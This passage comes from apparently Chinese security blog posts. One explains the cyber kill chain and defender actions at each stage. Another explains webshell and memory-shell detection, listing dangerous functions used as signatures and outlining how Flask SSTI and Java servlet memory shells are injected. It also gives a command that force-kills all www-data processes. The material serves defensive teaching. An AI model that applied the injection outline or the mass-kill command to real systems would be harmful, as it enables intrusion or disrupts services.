16px;text-indent: 24px;text-align: justify;"><strong>阶段一：侦察跟踪</strong></span></p><section style="text-align: justify;text-indent: 2em;"><span style="text-indent: 24px;text-align: justify;font-size: 16px;">在侦察阶段攻击者的工作是识别目标对象。侦察可以是静默状态的，也可以是是主动状态的。在此阶段，攻击者会选择攻击目标，并制定攻击计划，同时将尝试尽可能收集被攻击者的相关信息，侦察阶段的活动示例有：收集被攻击者的邮箱地址、查看与被攻击者相关的主页（例如：企业网站、社交网站等）、通过公开的媒体收集信息（例如：报纸、电视新闻等）。</span></section><p style="text-align: justify;"><strong><span style="font-size: 16px;text-indent: 24px;text-align: justify;">阶段二：武器构建</span></strong></p><section style="text-align: justify;text-indent: 2em;"><span style="font-size: 16px;text-indent: 24px;text-align: justify;">在武器构建阶段攻击者将进行攻击前的准备工作，针对攻击目标的系</span><span style="font-size: 16px;text-indent: 24px;text-align: justify;">统和防护措施，选择已有恶意软件和制作专用的恶意软件，现在很多的恶意软件已经可以通过自动化/半自动化的系统进行生产。</span><span style="font-size: 16px;text-indent: 24px;text-align: justify;">由于系统的复杂性，在这一阶段，攻击者有可能与外部恶意软件生产者合作。</span><span style="font-size: 16px;text-indent: 24px;text-align: justify;">需要注意的是，“后门”往往是武器化常用的手段。</span></section><section style="text-align: justify;text-indent: 0em;"><strong><span style="font-size: 16px;text-indent: 24px;">阶段三：载荷</span><span style="font-size: 16px;text-indent: 24px;">投递</span></strong></section><section style="text-align: justify;text-indent: 0em;"><section style="text-indent: 2em;"><span style="font-size: 16px;">在载荷投递阶段，攻击者将完成把已经生产好的恶意软件投放到目标网络中。</span><span style="font-size: 16px;">常用的攻击手法包括“钓鱼”、“水坑“等。</span><span style="font-size: 16px;">武器化有效载荷最常见的传送媒介包括网站、可移动磁盘和电子邮件，这是安全团队可以阻止攻击的最重要阶段。</span></section><section style="text-indent: 0em;"><strong><span style="font-size: 16px;">阶段四：突防利用</span></strong></section><p style="text-indent: 2em;"><span style="font-size: 16px;">在突防利用阶段，攻击者通过网络的弱点以及被攻击者的安全意识不足问题，实现对被攻击者的访问，以获取敏感数据，例如密码文件，证书，甚至RSA令牌。</span><span style="font-size: 16px;">如果攻击已进行到此阶段，则系统已遭到破坏，数据处于危险之中。</span></p></section><p style="text-align: justify;"><strong><span style="font-size: 16px;">阶段五：安装植入</span></strong></p><section style="text-align: justify;text-indent: 2em;"><span style="font-size: 16px;">在安装植入阶段，攻击者将安装能够避过安全软件检查或杀灭的工具，这些工具可以用于获得被攻击者的访问权限和后续攻击活动，例如：在web服务器上安装webshell、部署后门工具、部署键盘/鼠标捕获工具等。这也是可以使用 HIPS（基于主机的入侵防御系统）等系统阻止攻击的另一个重要阶段。</span></section><p style="text-align: justify;"><strong><span style="font-size: 16px;">阶段六：通信控制</span></strong></p><section style="text-align: justify;text-indent: 2em;"><span style="font-size: 16px;">在通信控制阶段，攻击者已经通过对被攻击者网络植入恶意软件获得了控制被攻击者网络的能力，开启通信通道，用于控制被攻击者的网络，通常这些控制手段是隐蔽的，隐藏于最常见的web、邮件、DNS协议中。攻击者为了隐藏自己的真实身份，通常会采用跳板的方式，即级联的受害者链进行远程控制。</span></section><p style="text-align: justify;"><strong><span style="font-size: 16px;">阶段七：达成目标</span></strong></p><section style="text-align: justify;text-indent: 2em;"><span style="font-size: 16px;">在本阶段，既然攻击者已经控制了受害者的网络，那么接下来的工作就是完成其目标了，例如：破坏受害者的网络与信息、盗取业务信息、盗用受害者身份进行活动，以及提升权限进行更深度的破坏活动等。</span></section><p style="text-indent: 0em;margin-top: 5px;margin-bottom: 5px;"><strong><span style="font-size: 20px;">三、防御策略</span></strong><span style="font-size: 20px;"></span></p><section style="text-indent: 2em;"><span style="font-size: 16px;">在网络杀伤链模型中，由于只有当攻击者完成了第7步工作，前面的6步才具有真正产生意义，并且攻击者往往只有完成了前6步的工作才能来到第7步，因此，在攻击者发起第1-6步时执行相应的行动对于网络攻击的防御具有重要意义。</span></section><section style="text-indent: 0em;"><strong><span style="font-size: 16px;">1、</span><span style="font-size: 16px;text-indent: 24px;">侦察跟踪阶段</span><span style="font-size: 16px;text-indent: 24px;"></span></strong></section><p style="text-indent: 2em;"><span style="font-size: 16px;text-indent: 24px;">这一阶段，防护者可以通过主动检测尝试发现攻击者的“侦察“行为，侦察可以是静默状态的，也可以是是主动状态的，在攻击者采用静默状态时，被攻击者往往很难发现他们的对手，例如：</span><span style="font-size: 16px;text-indent: 24px;">攻击者收集被攻击者的邮箱地址；</span><span style="font-size: 16px;text-indent: 24px;">采用主动状态时，被攻击者可以从中发现攻击者的痕迹，例如：</span><span style="font-size: 16px;text-indent: 24px;">攻击者访问被攻击者的社交网络时可能会留下痕迹，从相应日志中可以获知攻击者的部分信息，如IP地址等。</span><span style="font-size: 16px;">防护者可以采取以下行动：</span></p><ul style="list-style-type:disc;" class="list-paddingleft-2"><li style="font-size: 16px;"><p><span style="font-size: 16px;">收集各类设备、系统日志用于分析；</span></p></li><li style="font-size: 16px;"><p><span style="font-size: 16px;">尽可能地收集网络流量信息，用于威胁分析；</span></p></li><li style="font-size: 16px;"><p><span style="font-size: 16px;">采用UEBA的分析方法，发现潜在的威胁者；</span></p></li><li style="font-size: 16px;"><p><span style="font-size: 16px;">利用威胁情报，匹配访问访问源、身份等信息。</span></p></li></ul><section style="text-indent: 0em;"><strong><span style="font-size: 16px;">2、武器构建阶段</span></strong></section><section style="text-indent: 2em;"><span style="font-size: 16px;">虽然防护者在攻击者发起攻击之前无法检测武器化的信息，但这一阶段仍然很重要。随着威胁情报服务商的出现，防护者可以使用威胁情报跟踪恶意软件的发展，从而为选择网络安全合作伙伴提供输入，对可能出现的恶意软件进行推测，从而节约后续部署拦截工具的时间，实现高效拦截。另外，由于恶意软件的研发者的知识、习惯通常有一定的模式，对恶意软件开发者进行研究，也可以为拦截恶意软件提供信息。防护者可以采取的行动包括：</span></section><ul style="list-style-type:disc;" class="list-paddingleft-2"><li style="font-size: 16px;"><p><span style="font-size: 16px;">分析恶意软件，研究恶意软件工作原理；</span></p></li><li style="font-size: 16px;"><p><span style="font-size: 16px;">分析恶意软件，分析恶意软件开发者行为习惯和模式；</span></p></li><li style="font-size: 16px;"><p><span style="font-size: 16px;">分析恶意软件的时间线，推断使用者的专业能力；</span></p></li><li style="font-size: 16px;"><p><span style="font-size: 16px;">利用威胁情报，判断APT攻击。</span></p></li></ul><section style="text-indent: 0em;"><strong><span style="font-size: 16px;">3、载荷投递阶段</span></strong></section><section style="text-indent: 2em;"><span style="font-size: 16px;">对于防护者而言，这是最重要的阶段，也是进行拦截的第一个阶段，这个阶段也是衡量一个企业的网络安全有效性的重要指标，即是否能够在交付阶段对攻击者进行有效拦截。在这一阶段，防护者的活动可以包括：</span></section><ul style="list-style-type:disc;" class="list-paddingleft-2"><li style="font-size: 16px;"><p><span style="font-size: 16px;">分析载荷投递的手段，例如：钓鱼邮件、U盘等；</span></p></li><li style="font-size: 16px;"><p><span style="font-size: 16px;">分析载荷投递的启动时间；</span></p></li><li style="font-size: 16px;"><p><span style="font-size: 16px;">分析被攻击的人员、设备/设施信息；</span></p></li><li style="font-size: 16px;"><p><span style="font-size: 16px;">推断恶意软件制作者；</span></p></li><li style="font-size: 16px;"><p><span style="font-size: 16px;">推断攻击者的目标物以及攻击者；</span></p></li><li style="font-size: 16px;"><p><span style="font-size: 16px;">收集攻击信息，用于未来可能出现的司法阶段。</span></p></li></ul><section style="text-indent: 0em;"><strong><span style="font-size: 16px;">4、突防利用阶段</span></strong></section><section style="text-indent: 2em;"><span style="font-size: 16px;">在这一阶段，如果攻击者采用0-day攻击，对于防护者是个挑战，但对于非0-day攻击，防护者应当注意传统的安全防护措施还是非常有效的。在此前提下，防护者能够做的是尽量利用传统的加固措施增加防护措施的弹性，通过以纵深防御思路为基础的框架，增加补偿性安全措施，对目标物进行防护。防护者可以采取的行动包括：</span></section><ul style="list-style-type:disc;" class="list-paddingleft-2"><li style="font-size: 16px;"><p><span style="font-size: 16px;">采用最小权限原则；</span></p></li><li style="font-size: 16px;"><p><span style="font-size: 16px;">采用权限冲突/约束机制；</span></p></li><li style="font-size: 16px;"><p><span style="font-size: 16px;">定期进行漏洞扫描；</span></p></li><li style="font-size: 16px;"><p><span style="font-size: 16px;">定期进行渗透测试，包括外部渗透测试和内部渗透测试；</span></p></li><li style="font-size: 16px;"><p><span style="font-size: 16px;">关注开发安全和所交付的软件的安全性；</span></p></li><li style="font-size: 16px;"><p><span style="font-size: 16px;">安全意识的培养。</span></p></li></ul><section style="text-align: justify;text-indent: 0em;"><strong><span style="font-size: 16px;">5、安装植入阶段</span></strong></section><section style="text-indent: 2em;"><span style="font-size: 16px;">在安装阶段，防护者可以通过对终端设备的日志进行分析来发现潜在的威胁，并在此阶段分析恶意软件，以优化终端设备的保护。在该阶段，防护者可以采取的行动包括：</span></section><ul style="list-style-type:disc;" class="list-paddingleft-2"><li style="font-size: 16px;"><p><span style="font-size: 16px;">使用基于主机的IPS；</span></p></li><li style="font-size: 16px;"><p><span style="font-size: 16px;">检测可能出现恶意软件的介质；</span></p></li><li style="font-size: 16px;"><p><span style="font-size: 16px;">在检测到恶意软件时告警，并进行必要的拦截；</span></p></li><li style="font-size: 16px;"><p><span style="font-size: 16px;">进行权限管理，分析恶意软件所需的最小权限；</span></p></li><li style="font-size: 16px;"><p><span style="font-size: 16px;">对可执行文件进行签名管理；</span></p></li><li style="font-size: 16px;"><p><span style="font-size: 16px;">分析恶意软件属性，包括版本、编译时间等；</span></p></li><li style="font-size: 16px;"><p><span style="font-size: 16px;">使用威胁情报加强未知威胁的防护，例如：恶意软件的MD5、SHA1、SHA256等。</span></p></li></ul><p><strong><span style="font-size: 16px;">6、通信控制阶段</span></strong></p><section style="text-indent: 2em;"><span style="font-size: 16px;">通信控制阶段是防护者进行拦截的最后一个机会，一旦让攻击者通过C2阶段，将会给企业带来直接损失。在本阶段，防护者的目的是对C2通道进行阻断，使得攻击者无法向攻击目标物的恶意软件发出相应指令，从而做到对目标物的防护。在该阶段，防护者可以实施的活动包括：</span></section><ul style="list-style-type:disc;" class="list-paddingleft-2"><li style="font-size: 16px;"><p><span style="font-size: 16px;">采用白名单/黑名单等措施加强网络访问控制；</span></p></li><li style="font-size: 16px;"><p><span style="font-size: 16px;">分析恶意软件，从而发现C2的来源设施，并并进行反制；</span></p></li><li style="font-size: 16px;"><p><span style="font-size: 16px;">采用代理机制进行通信，例如：http、DNS等。</span></p></li></ul><p><strong><span style="font-size: 16px;">7、达成目标阶段</span></strong></p><section style="text-indent: 2em;"><span style="font-size: 16px;">攻击者对受害者的访问的时间越长, 受害者的损失就越大。受害者在这一阶段需要评估其损失，并评估使用司法手段的必要性，为司法取证采集必要的信息（例如：日志、数据流）。受害者可以采取的活动包括：</span></section><ul style="list-style-type:disc;" class="list-paddingleft-2"><li style="font-size: 16px;"><p><span style="font-size: 16px;">检测数据泄漏；</span></p></li><li style="font-size: 16px;"><p><span style="font-size: 16px;">检测未授权使用；</span></p></li><li style="font-size: 16px;"><p><span style="font-size: 16px;">评估企业损失；</span></p></li><li style="font-size: 16px;"><p><span style="font-size: 16px;">采集日志；</span></p></li><li style="font-size: 16px;"><p><span style="font-size: 16px;">检测横向移动；</span></p></li><li style="font-size: 16px;"><p><span style="font-size: 16px;">采集网络流信息；</span></p></li><li style="font-size: 16px;"><p><span style="font-size: 16px;">重现攻击；</span></p></li><li style="font-size: 16px;"><p><span style="font-size: 16px;">采取司法手段；</span></p></li><li style="font-size: 16px;"><p><span style="font-size: 16px;">优化应急响应、网络安全策略、流程、技术。</span></p></li></ul><p style="text-indent: 0em;margin-top: 5px;margin-bottom: 5px;"><strong><span style="font-size: 20px;">四、企业入侵事件案例</span></strong></p><p style="margin-left:24px;"><span style="font-size: 16px;">本文从网络杀伤链的视角对一起典型的企业入侵事件进行分析。</span></p><section style="text-indent: 0em;"><strong><span style="font-size: 16px;">1、侦察跟踪阶段</span></strong></section><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.47109375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=cc171139&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nLyB77Mia7lCFXibS1Jib3J9tRfziasN45HGYU7PESHowvtcOHCDUiaVECYKiciaiaIFDuCnB9veay3hoRnkQ%2F640%3Fwx_fmt%3Dpng"/></p><section style="text-indent: 0em;"><strong><span style="font-size: 16px;">2、武器构建阶段</span></strong><br/></section><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.45390625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=6c3c0497&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nLyB77Mia7lCFXibS1Jib3J9tRBlxd8KrSSebxPiaibGYNDVqmBibYHkY3aQibEkvwNV7LmT40FLQKkzODkg%2F640%3Fwx_fmt%3Dpng"/></p><section style="text-indent: 0em;"><strong><span style="font-size: 16px;">3、载荷投递阶段</span></strong><br/></section><section style="text-indent: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.46953125" data-s="300,640" style="text-align: center;white-space: normal;" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=55b5778d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nLyB77Mia7lCFXibS1Jib3J9tRtk1sgtJRRSGA7yZecaA9sibPge8xBYbIZ58gQLXa9icJkaqNVGtPQOAA%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-indent: 0em;"><strong><span style="font-size: 16px;">4、突防利用阶段</span></strong></section><p><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.459375" data-s="300,640" style="text-align: center;white-space: normal;" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=7b00ebea&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nLyB77Mia7lCFXibS1Jib3J9tR77tIdEwhNjXhubUEAE7rcyic3pR0wiasViapOnUwvhiaQQWNJceB1SiacGQ%2F640%3Fwx_fmt%3Dpng"/><span style="font-size: 16px;"></span></p><section style="text-indent: 0em;"><strong><span style="font-size: 16px;">5、安装植入阶段</span></strong></section><section style="text-indent: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4734375" data-s="300,640" style="text-align: center;white-space: normal;" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=443595af&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nLyB77Mia7lCFXibS1Jib3J9tRC601kB3yXLlpLPZyAEhnlAdUPDVDn2GpzNRwjlneBIMBDv8IVhY4GQ%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-indent: 0em;"><strong><span style="font-size: 16px;">6、通信控制阶段</span></strong></section><section style="text-indent: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4703125" data-s="300,640" style="text-align: center;white-space: normal;" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=dae982d9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nLyB77Mia7lCFXibS1Jib3J9tRtd0lje2k1RztWyc4sj1boVvCe3zzo5lpoibzkCoQBBJiceTo2mTWdVQA%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-indent: 0em;"><strong><span style="font-size: 16px;">7、达成目标阶段</span></strong></section><section style="text-indent: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.48515625" data-s="300,640" style="text-align: center;white-space: normal;" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=706070d9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nLyB77Mia7lCFXibS1Jib3J9tRics0ibMEebY9rbSOTyxARWicuMaIz6nAib3NyvC8pshI9YZnGTbsibR9Kuw%2F640%3Fwx_fmt%3Dpng"/></section><p><span style="font-size: 16px;"></span></p><p><br/></p>



<p><a href="2247483985">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=45fc34d2&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NDY3NjcxOA%3D%3D%26mid%3D2247483985%26idx%3D1%26sn%3D1be0cd6328ef3a2a163f48dfe243c5ed%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 18 Feb 2022 15:55:00 +0800</pubDate>
    </item>
    <item>
      <title>Webshell检测方法</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NDY3NjcxOA==&amp;mid=2247483967&amp;idx=1&amp;sn=e9c5889129660c5f8b4df34732e7b43f</link>
      <description></description>
      <content:encoded><![CDATA[<p>
原创 <span>c3cili4</span> <span>2022-01-04 11:48</span> <span style="display: inline-block;"></span>
</p>

<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=a2a79d65&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F9ic0mFdBia4nJHq1XM0oCDqHuR1cGmbCF9ic6DZYfyKDDF7fFYCgh3YGK7fq71CIicdGWZBicdJtcNf9LMJk0vOBYyg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p>一、Webshell概述<br/></p><section style="text-indent: 2em;">Webshell是基于Web的一种应用程序，可以将其视为可在服务器上执行的一种远程访问工具或后门木马文件。Webshell作为一种web后门，通常由攻击者通过常见的Web网站漏洞，如sql注入、文件包含和上传等，上传到服务器，从而为攻击者提供与服务器端进行交互的能力。</section><p><shape type="#_x0000_t75" filled="f"><imagedata title="image1"></imagedata></shape></p><p><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.48933649289099523" data-s="300,640" style="" data-type="png" data-w="844" src="https://wechat2rss.xlab.app/img-proxy/?k=063148db&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nJHq1XM0oCDqHuR1cGmbCF9rTF1CK8rdpwlNJP39j7xoEwfBsaVyNu5Tpewpxrdkx4fFLkLIstUmQ%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><section style="text-indent: 2em;">根据Webshell的代码长度不同，通常可以将其分为大马、小马和一句话木马。小马通常只有几行甚至一行代码，实现的功能较为单一，如文件传输和权限提升等，攻击者通常将其用作跳板，绕过上传文件大小限制来上传功能更多的大马，大马是具有完整入侵功能的Webshell，它们的体积要大得多，具有用于文件操作，命令执行和数据库连接的友好图形用户界面，它们通常会调用系统功能，以便利用混淆技术来隐藏功能用于逃避检测。一句话木马一种特殊的小马，通常只有一行代码，但其使用场景丰富，可插入其他文件中，隐匿性强，可变形免杀。</section><section style="text-indent: 2em;">Webshell的特点主要有：</section><ul class="list-paddingleft-2" style="list-style-type: disc;"><li><p style="">存在系统调用的命令执行函数，如eval，system，cmd_shell，assert等；</p></li><li><p>存在系统调用的文件操作函数，如fopen、fwrite、readdir等；</p></li><li><p style="">存在数据库操作函数，调用系统自身的存储过程来连接数据库操作；</p></li><li><p style="">具备很深的自身隐藏性、可伪装性，可长期潜伏到web源码中；</p></li><li><p style="">衍生变种多，可通过自定义加解密函数、利用xor、字符串反转、压缩、拼接等方法来绕过检测；</p></li><li><p style="">访问ip少、访问次数少、页面孤立、传统防火墙无法进行拦截，无系统操作日志记录；</p></li><li><p style="">连接webshell的payload流量会记录在web日志中。</p></li></ul><p>二、Webshell检测方法</p><p>1、静态特征匹配</p><section style="text-indent: 2em;">静态特征匹配的检测方法通过提取大量已知的Webshell的文件特征，如关键字、高危函数的调用等，通过构建规则库，利用规则匹配或相似性计算方法等实现Webshell的检测，常见的web查杀安全工具D盾使用的就是这种检测方法。此外，还会将已知的Webshell的MD5值保存在特征库中，在检测时对待检测文件进行MD5值的计算，并与特征库进行比较查看是否匹配。</section><section style="text-indent: 2em;">但这种方法常常无法检测到经过加密、编码、拼接等混淆手段的Webshell变形。如下图的代码是经过base64编码混淆后的 Webshell变形，使用静态的检测方法难以对其进行检测。</section><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.3252720677146312" data-s="300,640" style="" data-type="png" data-w="827" src="https://wechat2rss.xlab.app/img-proxy/?k=71bc1cd3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nJHq1XM0oCDqHuR1cGmbCF9g1mOWQ0XpEXdGicrU0WmJickEGwl6FeynTR0smdIYdf5SQUGkc9VbyFQ%2F640%3Fwx_fmt%3Dpng"/></p><p>2、基于统计特征的检测</p><section style="text-indent: 2em;">由于Webshell往往经过了编码和加密，与常规的文件相比，会有一些特别的统计特征，可以根据这些特征统计进行检测。这类检测方法的典型代表: NeoPI （ <a href="https://github.com/Neohapsis/NeoPI" target="_blank">https://github.com/Neohapsis/NeoPI</a> ）</section><section style="text-indent: 2em;">NeoPi使用以下五种特征进行检测：</section><ul class="list-paddingleft-2" style="list-style-type: disc;"><li><p>信息熵(Entropy):通过使用ASCII码表来衡量文件的不确定性，通常经过混淆的Webshell文件信息熵更大；</p></li><li><p>最长单词(LongestWord):最长的字符串也许潜在的被编码或被混淆；</p></li><li><p>重合指数(Indexof Coincidence):低重合指数预示文件代码潜在的被加密或被混淆过；</p></li><li><p>特征(Signature):在文件中搜索已知的恶意代码字符串片段；</p></li><li><p>压缩(Compression):对比文件的压缩比，Webshell文件压缩比通常比正常文件低；</p></li></ul><section style="text-indent: 2em;">NeoPi的检测重心在于识别混淆代码，适用于检测经过混淆的Webshell。</section><p>3、基于日志的检测</p><section style="text-indent: 2em;">基于日志的检测方法是在攻击发生之后，通过分析大量日志信息，对攻击进行溯源，是在web服务器被入侵之后进行排查的手段。由于攻击者成功上传Webshell后，会通过80端口访问Webshell文件来完成各类恶意操作，因此攻击者对Webshell的访问会被记录在web日志中，通过整合在系统各处的日志，可以对其进行分析，区分正常web网页和Webshell在日志文件中的不同特征，检测是否存在Webshell。</section><section style="text-indent: 2em;">由于Webshell有以下访问特性：1）少量ip对其发起访问；2）总的访问次数少；3）通常Webshell属于孤立页面，可将其用于日志分析中。但由于日志的多样性和复杂性，该方法有可能会产生大量的误报，并且由于日志数量的庞大，大量读写日志很可能会对服务器的性能造成影响。</section><p>4、基于流量的检测</p><section style="text-indent: 2em;">基于流量特征的检测是动态检测的一种方法，该方法主要是对网络流量进行抓包与分析，通过区分恶意流量和正常流量，从而检测是否存在Webshell。目前国内外的很多入侵检测和入侵防御系统都采用了这种方法。</section><section style="text-indent: 2em;">基于流量的特征检测虽然能够较好地识别恶意流量，但由于流量信息的庞大，实时监测的难度较大，对系统的吞吐量要求高，很容易产生流量数据包丢失等问题而对检测结果产生一定的影响。</section><p>5、基于行为特征的检测</p><section style="text-indent: 2em;">基于行为的分析检测也是目前常用一种的动态检测Webshell的手段，在入侵检测中应用广泛，该方法通过对恶意代码的行为进行捕捉与分析，检测异常行为，从而进行恶意代码的识别。</section><section style="text-indent: 2em;">RASP产品就使用了这一检测方法，通过插桩等技术在应用程序运行过程中对执行危险操作的函数进行hook，检查其执行的参数，从而检测并阻止恶意代码运行。</section><section style="text-indent: 2em;">php类型的Webshell检测一般通过php扩展对opcode进行hook，jsp类型的Webshell检测一般通过java agent的方式实现字节码的动态修改，从而对恶意行为进行检测。</section><p>三、内存马查杀</p><p>1、内存马的分类</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.40997830802603036" data-s="300,640" style="" data-type="png" data-w="922" src="https://wechat2rss.xlab.app/img-proxy/?k=5f91e22e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nJHq1XM0oCDqHuR1cGmbCF9laoV6tcDfhNffFIqVglqlGPSOVYzVsfpHe4F2mDbA7B7EuMiaDAYdqQ%2F640%3Fwx_fmt%3Dpng"/></p><p>2、php内存马<br/></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.30913978494623656" data-s="300,640" style="" data-type="png" data-w="744" src="https://wechat2rss.xlab.app/img-proxy/?k=edc187c6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nJHq1XM0oCDqHuR1cGmbCF9r4QnEu47ja01aicxSNzhA2UZ3jNv0A3ymUd65K76UE2tyJiaYO0kaOUQ%2F640%3Fwx_fmt%3Dpng"/></p><section style="text-indent: 2em;">将该段代码上传至php服务器并访问，会在同一目录下循环生成shell.php的一句话木马文件。其查杀方式有：<br/></section><p> 1）在条件允许情况下，重启服务器；</p><p> 2）kill掉www-data用户所有子进程：ps aux | grep www-data | awk &#39;{print $2}&#39; | xargs kill -9</p><p>3、python flask内存马</p><section style="text-indent: 2em;">Python内存马可利用flask框架中ssti注入来实现，flask框架中在web应用模板渲染的过程中用到render_template_string()进行渲染但未对用户传入的参数进行过滤，就可以通过注入恶意代码来实现python内存马的注入。以下payload利用ssti注入注册了一个/shell的路由，路由对应的逻辑为执行cmd参数值命令。</section><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.078125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=04227bf8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nJHq1XM0oCDqHuR1cGmbCF9Cibqtaic8LfsDx8zEjfMVW4ISplXyVXNvkHB3IVSe5bEt99QSvsyCVGQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.21940928270042195" data-s="300,640" style="" data-type="png" data-w="711" src="https://wechat2rss.xlab.app/img-proxy/?k=c8e65283&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nJHq1XM0oCDqHuR1cGmbCF9BFfvwEIN3DN0QYg4rTUbIIjnaiaKPtCvdGSQEkZKn9RUZctoEicHiaqNg%2F640%3Fwx_fmt%3Dpng"/></p><section style="text-indent: 2em;">查杀方式：找到恶意路由并删除或重启服务器。<br/></section><p>4、java内存马</p><section style="text-indent: 2em;">在java web中，客户端发起的web请求会依次经过Listener、Filter、Servlet三个组件，只要在这个请求的过程中做手脚，在内存中修改已有的组件或者动态注册一个新的组件，插入恶意的shellcode，就可以注入内存马。</section><p>根据内存马注入的方式，大致可以将内存马划分为以下两类：</p><p>1）servlet-api型：通过命令执行等方式动态注册一个新的listener、filter或者servlet，从而实现命令执行等功能。特定框架、容器的内存马原理与此类似，如spring的controller内存马，tomcat的valve内存马</p><p>2）agent型：通过java的instrumentation动态修改已有代码，进而实现命令执行等功能。</p><section style="text-indent: 2em;">本文主要以Servlet内存马为例来介绍其原理和查杀方式。</section><ul class="list-paddingleft-2" style="width: 577.593px;white-space: normal;"><li><p>Servlet内存马</p></li></ul><section style="text-indent: 2em;">Servlet 是运行在 Web 服务器或应用服务器上的程序，它是作为来自 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层。它负责处理用户的请求，并根据请求生成相应的返回信息提供给用户。 </section><section style="text-indent: 2em;">在注入内存马的过程当中，可能需要用到反射机制，例如注入一个servlet型的内存马，需要使用反射机制来获取当前的context，然后将恶意的servlet添加到当前的context的children中。</section><section style="text-indent: 2em;">servlet内存马注入过程如下：首先创建一个恶意的servlet，然后获取当前的StandardContext；再将恶意servlet封装成wrapper添加到StandardContext的children当中，最后添加ServletMapping将访问的URL和wrapper进行绑定。</section><section style="text-indent: 2em;">执行上述操作后，访问指定的URL路径就可以进行命令执行了。</section><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.39263803680981596" data-s="300,640" style="" data-type="png" data-w="978" src="https://wechat2rss.xlab.app/img-proxy/?k=4ccc3a37&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nJHq1XM0oCDqHuR1cGmbCF96aKg7iahQ4dqkjPicSM7uG2omDdic2xiaxUia1N2CqdKiaoSmf8X7txUMJcg%2F640%3Fwx_fmt%3Dpng"/></p><section style="text-indent: 2em;">以哥斯拉的servlet内存马为例，在getshell后生成servlet内存马并绑定指定的url进行注入，接着就可以直接使用绑定的url进行内存马的连接。</section><ul class="list-paddingleft-2" style="list-style-type: disc;"><li><p>Java内存马检测工具</p></li></ul><p>（1）java-memshell-scanner</p><section style="text-indent: 2em;">通过jsp扫描应用中所有的filter和servlet，然后通过名称、对应的class是否存在来判断是否是内存马</section><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5015625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=ddc0f5dd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nJHq1XM0oCDqHuR1cGmbCF9ovudxd8KZJkzFtazkoDgCV1iaiaSpj3iaCLjaMQRu7kiaibMibWHfqbibJ13A%2F640%3Fwx_fmt%3Dpng"/></p><section style="text-indent: 2em;">通常内存马的恶意servlet和filter等式动态注册的，在ClassLoader目录下没有对应的class文件<br/></section><p>（2）cop.jar工具</p><section style="text-indent: 